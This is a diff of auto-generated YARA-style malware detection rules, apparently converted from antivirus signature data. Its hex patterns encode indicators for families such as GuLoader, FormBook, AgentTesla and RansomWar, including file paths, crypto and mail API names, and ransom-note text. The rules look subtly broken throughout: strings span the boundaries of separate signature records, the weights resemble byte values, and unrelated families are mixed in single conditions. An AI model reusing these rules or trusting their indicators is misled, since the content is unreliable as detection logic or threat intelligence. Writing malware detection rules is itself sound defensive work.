meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -217871,7 +232147,7 @@ rule _InfrastructureShared_18079{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*27146+(#a_00_3 & 1)*101+(#a_74_4 & 1)*23662+(#a_2e_5 & 1)*27748) >=3 } -rule _InfrastructureShared_18080{ +rule _InfrastructureShared_19244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -217884,7 +232160,7 @@ rule _InfrastructureShared_18080{ ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*22364+(#a_6f_2 & 1)*28265+(#a_3a_5 & 1)*19521) >=3 } -rule _InfrastructureShared_18081{ +rule _InfrastructureShared_19245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -217899,7 +232175,7 @@ rule _InfrastructureShared_18081{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_20_2 & 1)*30575+(#a_64_3 & 1)*11883+(#a_2d_5 & 1)*2305+(#a_41_6 & 1)*11617) >=4 } -rule _InfrastructureShared_18082{ +rule _InfrastructureShared_19246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -217912,7 +232188,7 @@ rule _InfrastructureShared_18082{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92+(#a_74_3 & 1)*29532+(#a_90_4 & 1)*24930) >=5 } -rule _InfrastructureShared_18083{ +rule _InfrastructureShared_19247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -217926,7 +232202,7 @@ rule _InfrastructureShared_18083{ ((#a_46_0 & 1)*16675+(#a_4f_2 & 1)*22387+(#a_00_3 & 1)*116+(#a_72_4 & 1)*29550+(#a_00_6 & 1)*101) >=5 } -rule _InfrastructureShared_18084{ +rule _InfrastructureShared_19248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -217939,7 +232215,7 @@ rule _InfrastructureShared_18084{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*71+(#a_00_4 & 1)*114+(#a_00_5 & 1)*79) >=6 } -rule _InfrastructureShared_18085{ +rule _InfrastructureShared_19249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -217950,12 +232226,12 @@ rule _InfrastructureShared_18085{ $a_33_3 = {2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 51 31 32 33 21 4d 54 42 00 01 00 1e 81 01 25 25 5c 69 67 6e 6f 72 61 6e 74 65 6e 5c 69 73 6f 65 6e 65 72 67 65 74 69 63 2e 6c 6e 6b 01 00 20 81 01 27 36 5c 66 6c 64 65 6b 61 72 61 6d 65 6c 6c 65 72 6e 65 73 5c 50 75 72 65 64 33 39 2e 6b 61 61 01 00 21 81 01 28 28 5c 6e 65 72 76 65 6b 72 69 } //26967 $a_65_4 = {5c 61 67 67 6c 75 74 69 6e 61 62 6c 65 2e 62 6f 6e 01 00 3c 81 01 25 72 61 6b 65 74 66 6f 72 73 76 61 72 73 73 79 73 74 65 6d 25 5c 4a 61 67 74 75 64 66 6c 75 67 74 65 72 6e 65 73 35 36 5c 67 65 6e 65 72 61 6c 6d 61 6a 6f 72 65 72 73 2e 73 69 72 01 00 13 81 01 24 24 5c 50 61 72 61 70 68 61 73 69 63 2e 52 61 6e 34 34 01 00 17 81 } //25959 $a_6f_5 = {6b 66 61 72 65 32 33 31 5c 64 79 70 70 65 72 2e 54 72 6e 01 00 17 81 01 5c 47 6e 67 65 6e 65 73 5c 77 61 76 65 6c 65 6e 67 74 68 2e 73 74 69 01 00 21 81 01 25 6b 61 72 69 74 74 65 25 5c 73 61 66 69 61 6e 73 62 69 6e 64 65 6e 65 5c 72 61 61 6a 65 72 6e 73 00 00 } //23553 - $a_00_6 = {0c } //20344 + $a_00_6 = {0a } //20344 condition: ((#a_6c_0 & 1)*16675+(#a_67_1 & 1)*27680+(#a_6e_2 & 1)*28781+(#a_33_3 & 1)*26967+(#a_65_4 & 1)*25959+(#a_6f_5 & 1)*23553+(#a_00_6 & 1)*20344) >=7 } -rule _InfrastructureShared_18086{ +rule _InfrastructureShared_19250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -217963,16 +232239,33 @@ rule _InfrastructureShared_18086{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 51 31 32 33 21 4d 54 42 00 01 00 1e 81 01 25 25 5c 69 67 6e 6f 72 61 6e 74 65 6e 5c 69 73 6f 65 6e 65 72 67 65 74 69 63 2e 6c 6e 6b 01 00 20 81 01 27 36 5c 66 6c 64 65 6b 61 72 61 6d 65 6c 6c } //18467 $a_65_1 = {5c 50 75 72 65 64 33 39 2e 6b 61 61 01 00 21 81 01 28 28 5c 6e 65 72 76 65 6b 72 69 67 65 6e 65 73 5c 61 67 67 6c 75 74 69 6e 61 62 6c 65 2e 62 6f 6e 01 00 3c 81 01 25 72 61 6b 65 74 66 6f 72 73 76 61 72 73 73 79 73 74 65 6d 25 5c 4a 61 67 74 75 64 66 6c 75 67 74 65 72 6e 65 73 35 36 5c 67 65 6e 65 72 61 6c 6d 61 6a 6f 72 65 72 } //29285 $a_69_2 = {01 00 13 81 01 24 24 5c 50 61 72 61 70 68 61 73 69 63 2e 52 61 6e 34 34 01 00 17 81 01 5c 57 6f 72 6b 66 61 72 65 32 33 31 5c 64 79 70 70 65 72 2e 54 72 6e 01 00 17 81 01 5c 47 6e 67 65 6e 65 73 5c 77 61 76 65 6c 65 6e 67 74 68 2e 73 74 69 01 00 21 81 01 25 6b 61 72 69 74 74 65 25 5c 73 61 66 69 61 6e 73 62 69 6e 64 65 6e 65 5c 72 61 61 6a 65 } //11891 - $a_00_3 = {00 78 4f 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 31 39 32 21 4d 54 42 00 01 00 4c 03 04 0b 16 0c 2b 30 02 08 91 0d 08 18 5d 13 04 03 11 04 9a 13 05 02 08 11 05 09 28 90 01 04 9c 08 04 fe 01 13 06 11 06 2c 07 28 90 01 04 0a 00 00 08 17 d6 0c 08 07 31 cc 06 14 72 e2 } //28274 - $a_17_4 = {01 00 00 01 25 16 02 a2 25 90 00 01 00 06 81 01 54 6f 42 79 74 65 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 25 } //2 - $a_30_5 = {31 36 39 38 35 39 2d 66 65 34 30 2d 34 61 64 66 2d 61 34 31 61 2d 36 37 37 64 31 32 34 61 31 36 31 61 01 00 } //385 - $a_43_6 = {65 } //-32494 e - $a_5f_7 = {49 6e 73 74 61 6e 63 65 5f 5f 01 00 10 01 47 00 65 00 74 00 54 00 79 00 70 00 65 00 73 00 01 00 14 01 47 00 65 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 73 00 00 00 78 4f 01 00 0d 00 0d 00 0d 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 32 21 4d 54 42 00 01 00 } //29793 + $a_00_3 = {00 78 4f 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 43 21 4d 54 42 00 01 00 21 81 01 5c 74 72 6f 6c 64 64 6f 6d 73 6b 75 6e 73 74 65 72 6e 65 5c 6d 65 74 72 6f 63 79 73 74 6f 73 69 73 01 00 2c 81 01 5c 6f 76 65 72 63 6f 6e 74 65 6e 74 69 6f 75 73 6c 79 5c 65 66 74 65 72 } //28274 + $a_69_4 = {6e 61 6c 69 73 65 72 65 6e 64 65 2e 68 74 6d 01 00 24 81 01 5c 66 61 72 76 61 6e 64 73 65 66 74 65 72 72 65 74 6e 69 6e 67 65 72 5c 6d 61 6e 69 63 6f 6c 65 2e 65 78 65 01 00 0d 81 01 63 68 6f 72 6f 74 65 67 61 2e 74 78 74 01 00 0f 81 01 69 64 6f 6c 61 74 72 69 65 6e 73 2e 75 6e 64 01 00 0f 81 01 74 65 67 6e 74 74 68 65 64 65 6e 2e 67 6c 64 01 00 } //24946 + $a_74_5 = {69 } //-32495 i + $a_76_6 = {65 6c 73 65 72 2e 69 6e 69 01 00 1b 81 01 5c 53 6b 75 6d 6d 65 73 6b 65 65 72 5c 69 73 62 6a 65 72 67 65 74 73 2e 68 74 6d 01 00 14 81 01 5c 73 75 67 65 6e 65 5c 6f 76 65 72 6d 61 6c 65 2e 69 6e 69 01 00 14 81 01 5c 53 69 6c 65 6e 69 63 5c 6d 61 72 6b 65 74 73 2e 69 6e 69 00 00 78 4f 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //25964 + $a_49_7 = {2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 31 39 32 21 4d 54 42 00 01 00 4c 03 04 0b 16 0c 2b 30 02 08 91 0d 08 18 5d 13 04 03 11 04 9a 13 05 02 08 11 05 09 28 90 01 04 9c 08 04 fe 01 13 06 11 06 2c 07 28 90 01 04 0a 00 00 08 17 d6 0c 08 07 31 cc 06 } //19770 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_69_2 & 1)*11891+(#a_00_3 & 1)*28274+(#a_17_4 & 1)*2+(#a_30_5 & 1)*385+(#a_43_6 & 1)*-32494+(#a_5f_7 & 1)*29793) >=8 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_69_2 & 1)*11891+(#a_00_3 & 1)*28274+(#a_69_4 & 1)*24946+(#a_74_5 & 1)*-32495+(#a_76_6 & 1)*25964+(#a_49_7 & 1)*19770) >=8 } -rule _InfrastructureShared_18087{ +rule _InfrastructureShared_19251{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 43 21 4d 54 42 00 01 00 21 81 01 5c 74 72 6f 6c 64 64 6f 6d 73 6b 75 6e 73 74 65 72 6e 65 5c 6d 65 74 72 6f 63 79 73 74 6f 73 69 73 01 00 2c 81 01 5c 6f 76 65 72 63 6f 6e 74 } //18467 + $a_69_1 = {75 73 6c 79 5c 65 66 74 65 72 72 61 74 69 6f 6e 61 6c 69 73 65 72 65 6e 64 65 2e 68 74 6d 01 00 24 81 01 5c 66 61 72 76 61 6e 64 73 65 66 74 65 72 72 65 74 6e 69 6e 67 65 72 5c 6d 61 6e 69 63 6f 6c 65 2e 65 78 65 01 00 0d 81 01 63 68 6f 72 6f 74 65 67 61 2e 74 78 74 01 00 0f 81 01 69 64 6f 6c 61 74 72 69 65 6e 73 2e 75 6e 64 01 00 0f 81 01 74 65 } //28261 + $a_74_2 = {65 64 65 6e 2e 67 6c 64 01 00 11 81 01 74 6f 69 6c 65 74 76 72 65 6c 73 65 72 2e 69 6e 69 01 00 1b 81 01 5c 53 6b 75 6d 6d 65 73 6b 65 65 72 5c 69 73 62 6a 65 72 67 65 74 73 2e 68 74 6d 01 00 14 81 01 5c 73 75 67 65 6e 65 5c 6f 76 65 72 6d 61 6c 65 2e 69 6e 69 01 00 14 81 01 5c 53 69 6c 65 6e 69 63 5c 6d 61 72 6b 65 74 73 2e 69 6e 69 00 00 78 4f } //28263 + $a_00_3 = {0c 00 0c 00 21 23 48 53 54 52 3a 54 } //1 + $a_61_4 = {3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 31 39 32 21 4d 54 42 00 01 00 4c 03 04 0b 16 0c 2b 30 02 08 91 0d 08 18 5d 13 04 03 11 04 9a 13 05 02 08 11 05 09 28 90 01 04 9c 08 04 fe 01 13 06 11 06 2c 07 28 90 01 04 0a 00 00 08 17 d6 0c 08 07 31 cc 06 14 72 e2 02 00 70 17 8d 01 00 00 01 25 16 02 a2 25 90 } //28530 + $a_6f_6 = {79 74 65 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 06 81 01 46 6f 72 6d 61 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0c 81 01 67 65 74 5f 41 73 } //385 + $a_62_7 = {79 01 00 25 81 01 24 30 62 31 36 39 38 35 39 2d 66 65 34 30 2d 34 61 64 66 2d 61 34 31 61 2d 36 37 37 64 31 32 34 61 31 36 31 61 01 00 12 81 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 10 01 47 00 65 00 74 00 54 00 79 00 70 00 65 00 73 00 01 00 14 01 47 00 65 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 73 } //25971 + $a_00_9 = {0d 00 0d 00 21 23 54 72 6f 6a 61 6e 3a } //1 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28261+(#a_74_2 & 1)*28263+(#a_00_3 & 1)*1+(#a_61_4 & 1)*28530+(#a_6f_6 & 1)*385+(#a_62_7 & 1)*25971+(#a_00_9 & 1)*1) >=10 + +} +rule _InfrastructureShared_19252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -217991,48 +232284,26 @@ rule _InfrastructureShared_18087{ ((#a_54_0 & 1)*18467+(#a_08_2 & 1)*-10729+(#a_a2_4 & 1)*5669+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_18088{ +rule _InfrastructureShared_19253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " strings : $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 32 21 4d 54 42 00 01 00 19 80 01 73 65 74 5f 55 73 65 53 79 73 74 65 6d 50 61 73 73 77 6f 72 64 43 68 61 72 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 13 80 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0f 80 01 52 65 73 6f 75 72 63 } //21539 $a_6e_1 = {67 65 72 01 00 0f 80 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0b 80 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 80 01 45 6e 64 41 70 70 01 00 09 80 01 42 6c 6f 63 6b 43 6f 70 79 01 00 18 80 01 4d 44 35 43 72 79 70 74 6f 53 65 } //19813 - $a_63_2 = {50 72 6f 76 69 64 65 72 01 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 01 00 18 80 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 25 80 01 24 62 63 65 64 37 37 64 66 2d 36 65 32 32 2d 34 63 39 32 2d 62 63 31 39 2d 65 31 38 66 39 62 37 34 33 61 64 36 00 00 78 4f 01 } //30322 - $a_3a_5 = {61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 57 61 72 2e 47 56 41 21 4d 54 42 00 01 00 40 01 57 61 72 20 62 79 20 5b 57 61 72 47 61 6d 65 2c 23 65 6f 66 5d 20 28 20 2a 2a 2a 2a 20 74 69 20 61 6d 6f 20 } //19521 - $a_68_6 = {20 73 65 20 74 75 20 6e 6f 6e 20 6d 69 20 72 69 63 61 6d 62 69 20 29 01 00 0a 01 44 65 61 72 20 75 73 65 72 2c 01 00 19 01 59 6f 75 20 61 72 65 20 72 65 61 64 69 6e 67 20 74 68 65 20 6d 61 69 6c 21 01 00 0c 01 48 69 2c 20 79 6f 75 20 77 6f 6e 20 03 00 2c 01 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 } //28257 - $a_6f_7 = {74 5c 4f 75 74 6c 6f 6f 6b 20 45 78 70 72 65 73 73 5c 35 2e 30 5c 4d 61 69 6c 01 00 11 01 57 61 72 6e 20 6f 6e 20 4d 61 70 69 20 53 65 6e 64 01 00 09 01 4d 41 50 49 4c 6f 67 6f 6e 01 00 0c 01 4d 41 50 49 46 69 6e 64 4e 65 78 74 01 00 0c 01 4d 41 50 49 52 65 61 64 4d 61 69 6c 01 00 0c 01 4d 41 50 49 53 65 6e 64 4d 61 69 6c 01 00 0a 01 4d 41 50 } //28530 - $a_67_8 = {66 66 01 00 0f 01 73 6f 6d 65 73 6f 6d 65 57 61 72 5f 45 4f 46 00 00 78 50 01 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 44 42 4e 61 6d 65 48 61 73 46 6c 61 73 68 2e 41 00 01 00 4f 01 5c 50 72 6f 6a 65 63 74 73 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 } //19529 - $a_6f_9 = {6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 2e 70 64 62 01 00 5e 01 5c 50 72 6f 6a 65 63 74 73 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 5c 6f } //28265 - $a_52_10 = {6c 65 61 73 65 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 2e 70 64 62 01 00 22 01 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 49 6e 73 74 61 6c 6c 50 6c 75 67 69 6e 2e 70 64 62 01 00 1e 00 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 50 } //27234 - $a_65_11 = {41 70 70 2e 70 64 62 01 00 28 03 5c 52 65 6c 65 61 73 65 5c 66 6c 61 73 68 70 6c 61 79 65 72 61 70 70 5f 69 6e 73 74 61 6c 6c 90 02 04 2e 70 64 62 90 00 00 00 78 50 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 70 01 5c 00 4d 00 69 00 63 00 72 00 } //24940 - $a_00_12 = {6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 74 00 65 00 72 00 69 00 6e 00 2e 00 6c 00 6e 00 6b 00 01 00 20 01 47 00 65 00 74 00 73 00 50 00 72 00 69 } //111 + $a_63_2 = {50 72 6f 76 69 64 65 72 01 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 01 00 18 80 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 25 80 01 24 62 63 65 64 37 37 64 66 2d 36 65 32 32 2d 34 63 39 32 2d 62 63 31 39 2d 65 31 38 66 39 62 37 34 33 61 64 36 00 00 78 50 01 } //30322 + $a_52_5 = {57 69 6e 33 32 2f 50 44 42 4e 61 6d 65 48 61 73 46 6c 61 73 68 2e 41 00 01 00 4f 01 5c 50 72 6f 6a 65 63 74 73 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 5c 6f 62 6a 5c 52 65 6c 65 61 73 } //21320 + $a_6c_6 = {73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 2e 70 64 62 01 00 5e 01 5c 50 72 6f 6a 65 63 74 73 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 } //23653 + $a_61_7 = {65 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 2e 70 64 62 01 00 22 01 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 49 6e 73 74 61 6c 6c 50 6c 75 67 69 6e 2e 70 64 62 01 00 1e 00 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 50 6c 61 79 65 72 41 70 } //20590 + $a_64_8 = {01 00 28 03 5c 52 65 6c 65 61 73 65 5c 66 6c 61 73 68 70 6c 61 79 65 72 61 70 70 5f 69 6e 73 74 61 6c 6c 90 02 04 2e 70 64 62 90 00 00 00 78 50 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 70 01 5c 00 4d 00 69 00 63 00 } //11888 + $a_00_9 = {73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 74 00 65 00 72 00 69 00 6e 00 2e 00 6c 00 6e 00 6b 00 01 00 20 01 47 00 65 00 74 00 73 } //114 + $a_00_11 = {74 00 20 00 65 00 76 00 6f 00 6c 00 69 00 63 00 01 00 12 01 5c 00 67 00 70 00 73 00 76 00 63 00 2e 00 64 00 62 00 01 00 6a 43 ba 1a 80 00 00 33 c9 ff 15 90 01 04 85 c0 0f 88 90 01 04 4c 8d 85 90 01 04 ba 04 01 00 00 48 8d 4d 90 01 01 ff 15 90 01 04 4c 8d 85 90 01 04 ba 04 01 00 00 48 8d 8d 90 01 04 ff 15 90 01 04 4c 8d 05 90 01 } //105 + $a_01_12 = {00 00 48 8d } //-17916 condition: - ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*19813+(#a_63_2 & 1)*30322+(#a_3a_5 & 1)*19521+(#a_68_6 & 1)*28257+(#a_6f_7 & 1)*28530+(#a_67_8 & 1)*19529+(#a_6f_9 & 1)*28265+(#a_52_10 & 1)*27234+(#a_65_11 & 1)*24940+(#a_00_12 & 1)*111) >=13 + ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*19813+(#a_63_2 & 1)*30322+(#a_52_5 & 1)*21320+(#a_6c_6 & 1)*23653+(#a_61_7 & 1)*20590+(#a_64_8 & 1)*11888+(#a_00_9 & 1)*114+(#a_00_11 & 1)*105+(#a_01_12 & 1)*-17916) >=13 } -rule _InfrastructureShared_18089{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 57 61 72 2e 47 56 41 21 4d 54 42 00 01 00 40 01 57 61 72 20 62 79 20 5b 57 61 72 47 61 6d 65 2c 23 65 6f 66 5d 20 28 20 2a 2a 2a 2a 20 74 69 20 61 6d 6f 20 61 6e 63 68 65 } //16675 - $a_20_1 = {75 20 6e 6f 6e 20 6d 69 20 72 69 63 61 6d 62 69 20 29 01 00 0a 01 44 65 61 72 20 75 73 65 72 2c 01 00 19 01 59 6f 75 20 61 72 65 20 72 65 61 64 69 6e 67 20 74 68 65 20 6d 61 69 6c 21 01 00 0c 01 48 69 2c 20 79 6f 75 20 77 6f 6e 20 03 00 2c 01 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c } //29472 - $a_6c_2 = {6f 6b 20 45 78 70 72 65 73 73 5c 35 2e 30 5c 4d 61 69 6c 01 00 11 01 57 61 72 6e 20 6f 6e 20 4d 61 70 69 20 53 65 6e 64 01 00 09 01 4d 41 50 49 4c 6f 67 6f 6e 01 00 0c 01 4d 41 50 49 46 69 6e 64 4e 65 78 74 01 00 0c 01 4d 41 50 49 52 65 61 64 4d 61 69 6c 01 00 0c 01 4d 41 50 49 53 65 6e 64 4d 61 69 6c 01 00 0a 01 4d 41 50 49 4c 6f 67 6f 66 66 01 } //30031 - $a_73_3 = {6d } //3840 m - $a_6d_4 = {57 61 72 5f 45 4f 46 00 00 78 50 01 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 44 42 4e 61 6d 65 48 61 73 46 6c 61 73 68 2e 41 00 01 00 4f 01 5c 50 72 6f 6a 65 63 74 73 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 5c 46 6c 61 73 68 50 6c 61 79 65 72 50 6c 75 67 69 6e 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 } //29541 - $a_61_5 = {68 50 6c 61 79 65 72 50 6c 75 67 69 6e 2e 70 64 62 01 00 5e 01 5c 50 72 6f 6a 65 63 74 73 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 79 65 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 41 64 6f 62 65 46 6c 61 73 68 50 6c 75 67 69 6e 50 6c 61 } //18012 - $a_2e_6 = {64 62 01 00 22 01 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 49 6e 73 74 61 6c 6c 50 6c 75 67 69 6e 2e 70 64 62 01 00 1e 00 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 46 6c 61 73 68 50 6c 61 79 65 72 41 70 70 2e 70 64 62 01 00 28 03 5c 52 65 6c 65 61 73 65 5c 66 6c 61 73 68 70 6c 61 79 65 72 61 70 70 5f 69 6e 73 74 61 6c 6c 90 02 04 2e 70 } //25977 - $a_00_7 = {00 00 78 50 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 70 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 } //25188 - $a_00_8 = {75 00 70 00 5c 00 74 00 65 00 72 00 69 00 6e 00 2e 00 6c 00 6e 00 6b 00 01 00 20 01 47 00 65 00 74 00 73 00 50 00 72 00 69 00 6e 00 74 00 20 00 65 00 76 00 6f 00 6c 00 69 00 63 00 01 00 12 01 5c 00 67 00 70 00 73 00 76 00 63 00 2e 00 64 00 62 00 01 00 6a 43 ba 1a 80 00 00 33 c9 ff 15 90 01 04 85 c0 0f 88 90 01 04 4c 8d 85 90 01 04 ba 04 01 00 00 } //114 - $a_90_9 = {01 ff 15 90 01 04 4c 8d 85 90 01 04 ba 04 01 00 00 48 8d 8d 90 01 04 ff 15 90 01 04 4c 8d 05 90 01 04 ba 04 01 00 00 48 8d 4d 90 01 01 ff 15 90 01 04 4c 8d 05 90 01 04 ba 04 01 00 00 48 8d 8d 90 01 04 ff 15 90 00 00 00 78 50 01 00 } //-29368 - $a_00_10 = {06 00 21 23 48 } //5 - $a_3a_11 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 62 2e 67 65 6e 21 51 2e 31 00 05 00 2c 03 ff ff 83 c7 04 90 02 04 75 90 09 20 00 90 02 0a e8 90 01 02 ff ff 90 02 05 0f b7 c0 90 02 03 35 90 01 02 00 00 50 90 02 05 e8 90 00 05 00 2c 03 ff ff 83 c6 04 } //21587 - condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29472+(#a_6c_2 & 1)*30031+(#a_73_3 & 1)*3840+(#a_6d_4 & 1)*29541+(#a_61_5 & 1)*18012+(#a_2e_6 & 1)*25977+(#a_00_7 & 1)*25188+(#a_00_8 & 1)*114+(#a_90_9 & 1)*-29368+(#a_00_10 & 1)*5+(#a_3a_11 & 1)*21587) >=14 - -} -rule 